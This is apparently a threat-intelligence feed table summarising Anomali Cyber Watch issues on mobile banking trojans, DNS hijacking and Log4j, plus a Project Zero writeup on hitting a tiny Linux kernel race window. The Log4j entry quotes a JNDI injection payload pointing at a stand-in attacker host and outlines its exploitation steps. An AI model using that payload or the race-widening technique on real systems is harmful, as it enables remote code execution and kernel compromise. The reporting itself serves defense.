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| Src | Date (GMT) | Titre | Description | Tags | Stories | Notes |
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2023-01-24 16:30:00 | Anomali Cyber Watch: Roaming Mantis Changes DNS on Wi-Fi Routers, Hook Android Banking Trojan Has Device Take-Over Capabilities, Ke3chang Targeted Iran with Updated Turian Backdoor (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: APT, Banking trojans, DNS hijacking, China, Infostealers, Malvertising, Phishing, and Smishing. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
Trending Cyber News and Threat Intelligence
Roaming Mantis Implements New DNS Changer in Its Malicious Mobile App in 2022
(published: January 19, 2023)
In December 2022, a financially-motivated group dubbed Roaming Mantis (Shaoye) continued targeting mobile users with malicious landing pages. iOS users were redirected to phishing pages, while Android users were provided with malicious APK files detected as XLoader (Wroba, Moqhao). Japan, Austria, France, and Germany were the most targeted for XLoader downloads (in that order). All but one targeted country had smishing as an initial vector. In South Korea, Roaming Mantis implemented a new DNS changer function. XLoader-infected Android devices were targeting specific Wi-Fi routers used mostly in South Korea. The malware would compromise routers with default credentials and change the DNS settings to serve malicious landing pages from legitimate domains.
Analyst Comment: The XLoader DNS changer function is especially dangerous in the context of free/public Wi-Fi that serve many devices. Install anti-virus software for your mobile device. Users should be cautious when receiving messages with a link or unwarranted prompts to install software.
MITRE ATT&CK: [MITRE ATT&CK] T1078.001 - Valid Accounts: Default Accounts | [MITRE ATT&CK] T1584 - Compromise Infrastructure
Tags: actor:Roaming Mantis, actor:Shaoye, file-type:APK, detection:Wroba, detection:Moqhao, detection:XLoader, malware-type:Trojan-Dropper, DNS changer, Wi-Fi routers, ipTIME, EFM Networks, Title router, DNS hijacking, Malicious app, Smishing, South Korea, target-country:KR, Japan, target-country:JP, Austria, target-country:AT, France, target-country:FR, Germany, target-country:DE, VK, Mobile, Android
Hook: a New Ermac Fork with RAT Capabilities
(published: January 19, 2023)
ThreatFabric researchers analyzed a new Android banking trojan named Hook. It is a rebranded development of the Ermac malware that was based on the Android banker Cerberus. Hook added new capabilities in targeting banking and cryptocurrency-related applications. The malware also added capabilities of a remote access trojan and a spyware. Its device take-over capabilities include being able to remotely view and interact with the screen of the infected device, manipulate files on the devices file system, simulate clicks, fill text boxes, and perform gestures. Hook can start the social messaging application WhatsApp, extract all the messages present, and send new ones.
Analyst Comment: Users should take their mobile device security seriously whether they use it for social messaging or actually provide access to their banking accounts and/or cryptocurrency holdings. Similar to its predecessors, Hook will likely be used by many threat actors (malware-as-as-service model). It means the need to protect from a wide range of attacks: smishing, prompts to install malicious apps, excessive |
Malware Tool Threat Guideline | APT 15 APT 25 | ★★★ |
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2022-08-24 12:08:43 | Racing against the clock -- hitting a tiny kernel race window (lien direct) | TL;DR: How to make a tiny kernel race window really large even on kernels without CONFIG_PREEMPT:use a cache miss to widen the race window a little bitmake a timerfd expire in that window (which will run in an interrupt handler - in other words, in hardirq context)make sure that the wakeup triggered by the timerfd has to churn through 50000 waitqueue items created by epoll Racing one thread against a timer also avoids accumulating timing variations from two threads in each race attempt - hence the title. On the other hand, it also means you now have to deal with how hardware timers actually work, which introduces its own flavors of weird timing variations.Introduction I recently discovered a race condition (https://crbug.com/project-zero/2247) in the Linux kernel. (While trying to explain to someone how the fix for CVE-2021-0920 worked - I was explaining why the Unix GC is now safe, and then got confused because I couldn't actually figure out why it's safe after that fix, eventually realizing that it actually isn't safe.) It's a fairly narrow race window, so I was wondering whether it could be hit with a small number of attempts - especially on kernels that aren't built with CONFIG_PREEMPT, which would make it possible to preempt a thread with another thread, as I described at LSSEU2019. This is a writeup of how I managed to hit the race on a normal Linux desktop kernel, with a hit rate somewhere around 30% if the proof of concept has been tuned for the specific machine. I didn't do a full exploit though, I stopped at getting evidence of use-after-free (UAF) accesses (with the help of a very large file descriptor table and userfaultfd, which might not be available to normal users depending on system configuration) because that's the part I was curious about. This also demonstrates that even very small race conditions can still be exploitable if someone sinks enough time into writing an exploit, so be careful if you dismiss very small race windows as unexploitable or don't treat such issues as security bugs. The UAF reproducer is in our bugtracker.The bug In the UNIX domain socket garbage collection code (which is needed to deal with reference loops formed by UNIX domain sockets that use SCM_RIGHTS | Tool Guideline | APT 25 | ★★ |
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2021-12-15 16:00:00 | Anomali Cyber Watch: Apache Log4j Zero-Day Exploit, Google Fighting Glupteba Botnet, Vixen Panda Targets Latin America and Europe, and More (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: Apache, Botnets, China, Espionage, Java, Russia, USB, and Vulnerabilities. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
Trending Cyber News and Threat Intelligence
Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit
(published: December 10, 2021)
A critical vulnerability, registered as CVE-2021-44228, has been identified in Apache Log4j 2, which is an open source Java package used to enable logging in. The Apache Software Foundation (ASF) rates the vulnerability as a 10 on the common vulnerability scoring system (CVSS) scale. Cisco Talos has observed malicious activity related to CVE-2021-44228 beginning on December 2, 2021. This vulnerability affects millions of users and exploitation proof-of-concept code exists via LunaSec explains how to exploit it in five simple steps. These include: 1: Data from the User gets sent to the server (via any protocol). 2: The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server). 3: The Log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via "Java Naming and Directory Interface" (JNDI). 4: This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process. 5: This injected payload triggers a second stage, and allows an attacker to execute arbitrary code.
Analyst Comment: Log4j version 2.15.0 has been released to address this vulnerability, however, it only changes a default setting (log4j2.formatMsgNoLookups) from false to true. This means that if the setting is set back to false, Log4j will again be vulnerable to exploitation. The initial campaigns could have been detected by filtering on certain keywords such as "ldap", "jndi", but this detection method is easily bypassable.
MITRE ATT&CK: [MITRE ATT&CK] Exploit Public-Facing Application - T1190 | [MITRE ATT&CK] Exploitation for Client Execution - T1203 | [MITRE ATT&CK] Command and Scripting Interpreter - T1059 | [MITRE ATT&CK] Remote Services - T1021 | [MITRE ATT&CK] OS Credential Dumping - T1003 | [MITRE ATT&CK] Resource Hijacking - T1496 | [MITRE ATT&CK] Network Denial of Service - T1498
Tags: Log4j, CVE-2021-44228, Log4j2, Log4Shell, Apache, Zero-day, Java, Jndi, Class file
Over a Dozen Malicious NPM Packages Caught Hijacking Discord Servers
(published: December 8, 2021)
Researchers from the DevOps firm JFrog has found at least 17 malicious packages on the open source npm Registry for JavaScript. The names of the packages are: prerequests-xcode (version 1.0.4), discord-selfbot-v14 (version 12.0.3), discord-lofy (version 11.5.1), discordsystem (version 11.5.1), discord-vilao (version 1.0.0), fix-error (version 1 |
Malware Tool Vulnerability Threat Cloud | APT 37 APT 29 APT 15 APT 15 APT 25 |
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